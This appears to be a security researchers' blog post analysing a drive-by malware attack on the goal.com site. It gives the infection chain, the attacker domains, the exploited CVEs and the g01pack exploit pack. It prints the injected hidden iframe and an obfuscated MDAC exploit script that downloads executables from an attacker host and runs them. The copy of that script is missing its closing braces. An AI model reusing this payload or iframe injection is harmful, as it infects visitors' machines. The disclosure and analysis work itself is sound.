Goal.com serving malware

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)
(Follow up post on reinfection posted May 17th)

Goal.com receives 232,116 unique visitors per day according to compete.com, 215,989 according to checksitetraffic.com, and ranks 379 globally on alexa.com.

Recently between April 27th to 28th, it was detected by HackAlert to be actively serving malware (drive-by downloads). From what we've observed, we believe the attacker has a way into goal.com's system and was only testing during this time. This is our technical report.


A. From what we've collected, parts of goal.com seem to have been compromised allowing the attacker to manipulate content at will. A backdoor may exist to allow the attacker continuous control of goal.com's content.

B. During this time we've observed different malicious scripts injected into goal.com, leading us to believe that this isn't a one-time mass SQL injection attempt. We've also not found the injected content to appear in other websites.

C. The malicious domains include:
1. pxcz.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.
2. opofy7puti.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.
3. justatest.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.

This further suggests that this is an attack targeted at goal.com

D. Duration was between April 27th to 28th. The attacker seemed to be testing their injections and was picked up by our scanners.

E. Browser exploits used during this "test-drive" included: CVE-2010-1423 (Java), CVE-2010-1885 (MS help center HCP), CVE-2009-0927 (PDF), and CVE-2006-0003 (MS MDAC).

F. The g01pack exploit pack was being used. It includes a fake admin page which is used as a honeynet for security researchers--to allow the attacker to observe who is studying their malicious domains.

G. The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection.

H. Malware served was packed with UPX and modifies setupapi.dll and sfcfiles.dat. When we first submitted it to VirusTotal, 4 out of 41 antivirus vendors were able to flag it.

I. The malware connects to the following domains:

1. testurl.ipq.co:80 (in UK), which again, is neither flagged by any antivirus blacklist nor by Google SafeBrowsing
2. (US), which reverses back to coldgold.co.uk, and which again, isn't blacklisted by any, including Google SafeBrowsing.
3. banderlog.org, not flagged by anvirus / Google SafeBrowsing, but has some records on clean-mx.de.


One of the infection logs can be downloaded here. It includes all the http traffic, from loading goal.com to downloading the PE malware binary.

The chain of infection is:
1. goal.com, includes iframe to pxcz.cz.cc
2. pxcz.cz.cc iframes to justatest.cz.cc
3. justatest.cz.cc runs the exploit pack g01pack, serves exploits based on visitor's browser type
4. exploit compromises browser, downloads malware from justatest.cz.cc
5. malware links to testurl.ipq.co (UK), (US, coldgold.co.uk), and banderlog.org.
The infection started in http://www.goal.com/en/:

<p>Arjen Robben has admitted that his future lies with the German and European giants, hinting that he could even remain there for the rest of his career <style type="text/css">#yxvim {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style><iframe id="yxvim" src="http://pxcz.cz.cc/ad.jpg"></iframe></p>

The attacker injected an iframe at the end of the above HTML snippet, pointing to pxcz.cz.cc. pxcz.cz.cc contains another iframe pointing to justatest.cz.cc, which is both the exploit and the malware server, running g01pack. A unique feature of this exploit pack is the inclusion of a fake admin / stats page. This page supports common id / password combinations like admin / admin to trick security researchers into believing that they've obtained access to the exploit pack's admin page:

Once logged in, the researcher is presented with a fake infection stats page. In reality, this allows the attacker to gain insights into who has identified the malicious domain, and is conducting investigation.

The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection. Since it's an exploit pack, there's too many exploits to post them all here. We've posted on version here, which is the MDAC exploit. If interested, you can download one of the infection logs here.

<html>en clonus purins knot ghat inlier sine bipeds obese tart.<body>heroins pallors glugs. Opera. Pyx ducted boss shea abele knot hajes eh moot nisi tickled howl pangens bobs blind stir reinked ajee.atria obese saddle. Nisi uh bracts pyx.bipeds abaft arctic brave arabic purins blind polo. Pyx pallors. Sludge atria noisy bug slojd stow dumps. Kappa sri tawse bracts hank.fresco delta. Caldron arctic bucko sine byre inlier haeres.<script>

var test;

function redirect(){

setTimeout(redirect, 20000);

var move=new String("openul0".substr(0,4));
var out=["ctfmon",String("javaWI8X".substr(0,4)),new String("acro"+"bat"),new String("explore"+"rC52".substr(0,1)),String("useri"+"nit"),"chromeHkpS".substr(0,6),"svch"+"ostc"];
var follow="Sav"+"eTo"+"Fil"+"e";
var air;
var family=1;
var low=6000;
var never=";";
var now=String("setTimeout");
var sun=0;
var age="";
var turn=[];
var have=["spellOver","play","cross"];this.few=29107;this.few-=150;
var begin;
var useDrive="clsid:BD9oqk".substr(0,9)+"6C556-65ANEm".substr(0,9)+"3-11D0-98rWqE".substr(0,9)+"3A-00C04F"+"ZuqC29E36uqZ".substr(3,6);

var stay=new String("she"+"lle"+"xec"+"ute");
var then=new String("replaceUyK".substr(0,7));

var once=new String("typeUdm".substr(0,4));
var ground=["youUnder","home","base"];
var own=new String();
var meLittle="setAttrT2hF".substr(0,7)+"ibute5MEY".substr(0,5);
var will=new String("pus5ceI".substr(0,3)+"9BUhU9B".substr(3,1));
var most=2;
var best="send";

var teachSeem="";var star="";try {} catch(mark){};
var strong;
var bed="Close";
var end="Wri"+"te";
var pass="http://opofy7puti.cz.cc:80/domains/f848af41f9d81c1603fb52a6b7844642.php?start=12&thread_id=53585053&forum_id=qtest&";

var readAmong="CreateObjec"+"t";
var redDog="responseBo"+"dyck4".substr(0,2);

function oh(){

try {var book="ourPiece"} catch(book){};var they="";come=["northTurn","set","above"];

if(pass.indexOf(never) > -1){
var groundMight=new Array();this.strongLess=978;this.strongLess++;call={word:10445};
var writeHim=["comeWould"];
var serve="";var stopYes="";hand=25269;hand-=192;

school = pass.split(never);
var good={his:20957};var turnBoy=false;this.travel="travel";
add=16993;add--;var should="";
for(var i in school){

var govern="";this.airMark=false;
place=27537;place-=204;try {var run="familyCommon"} catch(run){};var yetNeed=new String();
var quick = school[i][then](/^\s+|\s+$/g, age);
var music="";this.plant=459;this.plant-=142;var underHad="";
fall={};yetFarm=6780;yetFarm-=19;var shape=29557;
if(quick != age){
var make=false;var their={high:"down"};plane={yes:"front"};

} else {
var thereLarge=new String();var yesWheel=new String();
var saw=["shortSleep","stayCommon","heard"];this.yourLeave="yourLeave";var table=23075;
var turnYet="turnYet";var friendPound={newBody:"studyNotice"};

var drive=[];var able="";var willTake="willTake";

return turn;

var foodThough=new String();try {} catch(veryStrong){};

function than(again, point){
figureFigure=30877;figureFigure-=200;var does=new String();var sleepFace=["orWalk","inch","cold"];

test[meLittle](again, point);

northBeauty={watch:"fewLove"};var line={};
var head=22943;var piece=32549;

function the(){

var pose=20499;var frontCross=4606;

if(!free()) return;

var willPerson=new Array();

test=document.createElement(new String("object"));

than(new String("classi"+"d"), useDrive);
var moveEarly="moveEarly";this.moonHome="";
than("id", "test");

try {

strong = test[readAmong]("Shell.A9kDj".substr(0,7)+"DH0pplicat0HD".substr(3,7)+"MrbionMbr".substr(3,3),age);
air = test[readAmong]("adodb.strea"+"mnXk".substr(0,1),age);
this.why=19607;this.why++;var rest=new Date();var him="";

var turn = oh();

this.differ="differ";var sawAmong=["moneyAt","moreA","boyMuch"];var stopSun=["letter","pound","young"];
var sideHeat=["white","spellAbove"];var thoseFirst=["northFact","needCome"];doesRock=17386;doesRock--;
if(turn.length <= 0) return false;

agoOld=["laughOften","seemOrder","figureGreen"];var runHalf={cut:27153};var schoolOut=["differGot","wonder","poseNotice"];

for(var i=sun; i < turn.length; i++){

var fromLong=new Date();

var haveSlow=new String();var ifCover=["finalDone","againOnly"];
var unitIt=[];pullTown={leadOut:"deepMade"};var decide=[];
var unit = out[i % out.length];
var enough = turn[i];

goodDrive={water:"cry"};secondCenter=[];var endDiffer=false;
var your = "./."+"./yzvw".substr(0,2) + unit + new String(".exe");
this.dont=18287;this.dont--;try {var faceAppear="fewReal"} catch(faceAppear){};
var voicePoint=low * i;
var shortPlane=["heatRule"];var knew="";
try {var shapeCause="ageHave"} catch(shapeCause){};dryLook=[];
meanFar(new String(enough), new String(your));
var right=23685;try {} catch(feel){};try {} catch(hisTree){};
var had=new Date();

} catch(e){}


function longSaid(stoodTree){

var shouldSide=8362;northAmong={faceMade:false};var windReal="windReal";

begin = test[readAmong]("msxml2.XMLO4eW".substr(0,10)+"HTTP", age);

var planeTop=new Date();
whichThem={shipSame:26359};var fatherIdea=24125;var there=16243;
begin[move]("GET", stoodTree);
var thatWhen="thatWhen";this.hisNever="hisNever";story=9303;story+=10;

return begin[redDog];

function free(){
var thereWrite={strongPaper:false};
return (document.body.style.textOverflow != undefined);

function meanFar(stoodTree,color){

var wentMother=["turnTalk","staySleep","she"];this.largeRed=28365;this.largeRed-=184;eat=["atMove"];
var found={shouldPlay:"figureStep"};

try {
var standMother=3260;toward=26805;toward++;
var actPress="";try {var work="lightCold"} catch(work){};

try {
var other=new Date();var rainTable=28788;
} catch(stand){}

this.lastTheir=29388;this.lastTheir--;var downStrong={topWas:11226};try {var answerWater="servePaper"} catch(answerWater){};
happenUs=["fewMany","butWell"];var helpRound=27891;
try {var cryFarm="putFollow"} catch(cryFarm){};var plantClear="";
try {var meEver="shapeDark"} catch(meEver){};

var whyRule=["slow","followNight"];var whiteAnswer=["standWatch","fastKnew"];
var sameOff=26811;actCome=["walkHand","even","waterWay"];this.draw=29713;this.draw-=76;
var clear="";var tellFront=["seemBody"];var lookNumber="";

} catch(e){

mayForce=12153;mayForce+=212;var homeMay={unitFirst:false};manAt=8219;manAt+=30;

}catch(noun) {
lessFive=["fishTail","behindYet","ourAgo"];this.same=false;var airSix="";
try {
var direct=false;var better=["showGrow","factHand"];
changeBack={hot:6344};var it=new Array();
} catch(first){}
var ageSecond=15826;this.fallThree="";var faceTree=28716;

var sleep=0;
var topAnimal=false;

function groundMen(){

while(sleep++ < 171){
topAnimal = true;

groundMen();</script>nisi nebs coalify opera caw add gluts rewon toph reinked bucko web moot.woofer reinked haeres arabic hernia bice blind nebs schmoos stow opera obese snaffle en hajes scow pyx.</body></html>

(Follow up post on reinfection posted May 17th)

Read more (rest of article)...